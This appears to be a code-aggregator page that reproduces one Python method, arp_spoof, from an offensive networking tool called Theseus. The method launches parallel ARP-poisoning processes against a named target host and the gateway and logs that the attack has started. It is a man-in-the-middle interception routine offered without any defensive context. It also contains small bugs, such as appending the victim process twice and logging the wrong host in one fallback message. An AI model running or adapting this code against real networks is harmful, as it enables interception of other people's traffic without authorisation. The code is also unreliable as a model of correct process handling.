Theseus.py 文件源码

python
阅读 29 收藏 0 点赞 0 评论 0

项目:Theseus 作者: Dylan-halls 项目源码 文件源码
def arp_spoof(self, tm):
            arp = Arp_Spoof(args.iface)
            try:
                log.status("{} ({}) is at {}".format(socket.gethostbyaddr(args.target)[0], args.target, tm))
            except socket.herror:
                log.warn("{} is at {}".format(args.target, tm))

            ajobs = []
            victim_thread = multiprocessing.Process(target=arp.poison_victim, args=(args.target, args.gateway, int(verbose), args.iface, tm))
            ajobs.append(victim_thread)
            victim_thread.start()
            try:
                vname = socket.gethostbyaddr(args.target)[0]
                vname = vname.replace('.home', " ")
                log.status("Started attack on {}".format(vname))
            except socket.herror:
                log.warn("Started attack on {}".format(args.target))

            target_thread = multiprocessing.Process(target=arp.poison_router, args=(args.gateway, args.target, int(verbose), args.iface, tm))
            ajobs.append(victim_thread)
            target_thread.start()
            try:
                rname = socket.gethostbyaddr(args.gateway)[0]
                rname = rname.replace('.home', " ")
                log.status("Started attack on {}".format(rname))
            except socket.herror:
                log.warn("Started attack on {}".format(args.target))
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号